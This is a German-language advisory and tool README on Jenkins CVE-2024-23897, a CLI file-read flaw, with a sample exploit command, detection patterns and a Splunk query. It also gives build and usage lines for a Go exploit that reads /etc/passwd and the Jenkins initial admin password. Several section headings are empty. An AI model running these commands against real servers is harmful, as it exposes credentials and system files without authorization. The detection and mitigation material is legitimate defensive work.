
CVE-2024-23897: Beliebiges Dateilesen in Jenkins führt zu RCE
CVE-2024-23897: Beliebiger Dateizugriff in Jenkins führt zu RCE 🎯 Betroffene Produkte und Versionen
- Produkt: Jenkins (Continuous Integration/Continuous Delivery Server)
- Versionen: Jenkins 2.441 und früher, Jenkins LTS 2.426.2 und früher
- Behoben in: Jenkins 2.442, Jenkins LTS 2.426.3
📝 Beschreibung
CVE-2024-23897 ist eine kritische Sicherheitslücke in Jenkins, die es nicht authentifizierten Angreifern ermöglicht, beliebige Dateien auf dem Dateisystem des Jenkins-Controllers zu lesen. Die Sicherheitslücke besteht, weil Jenkins eine Funktion seines CLI-Befehlsinterpreters nicht deaktiviert, die ein '@'-Zeichen gefolgt von einem Dateipfad durch den Inhalt der Datei ersetzt.
Dieser Fehler kann in Kombination mit anderen Techniken zu Remote Code Execution (RCE) führen, was ihn besonders gefährlich für Organisationen macht, die Jenkins in ihren CI/CD-Pipelines einsetzen. 🔍 Details zur Sicherheitslücke Grundursache
Die Sicherheitslücke geht auf die expandAtFiles()-Funktion in der Klasse org.kohsuke.args4j.CmdLineParser zurück. Wenn der Parser CLI-Argumente analysiert und auf ein '@'-Symbol gefolgt von einem Dateipfad trifft, liest und erweitert er den Inhalt dieser Datei. Angriffsvektor
Angreifer können diese Sicherheitslücke über die Jenkins-CLI-Schnittstelle ohne Authentifizierung ausnutzen: bash
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd
Technische Analyse Einschränkungen beim Dateilesen
Erweiterung der Angriffsfläche
💥 Auswirkungen Sofortige Auswirkungen
Ausnutzung in der realen Welt
🔧 Erkennung Indikatoren für eine Kompromittierung
Erfolgreiche Ausnutzungsversuche können erkannt werden durch:
HTTP-Anfragemuster: text
POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]
Typische Payload-Beispiele:
Splunk-Erkennungsabfrage text
index=web uri="/cli?remoting=false" http_method=POST http_status=200
🛡️ Abschwächung Offizieller Fix
Auf gepatchte Versionen aktualisieren:
Vorübergehende Abschwächung
Wenn ein sofortiges Patchen nicht möglich ist:
🔗 Referenzen
📦 Erstellen und Ausführen bash
go build -o jenkins-cve-2024-23897 exploit.go
./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd
go run exploit.go http://target-jenkins:8080 /etc/passwd
🎯 Anwendungsbeispiele bash
./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword
./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini
⚙️ Funktionsweise
📊 Funktionen
⚠️ Wichtige Hinweise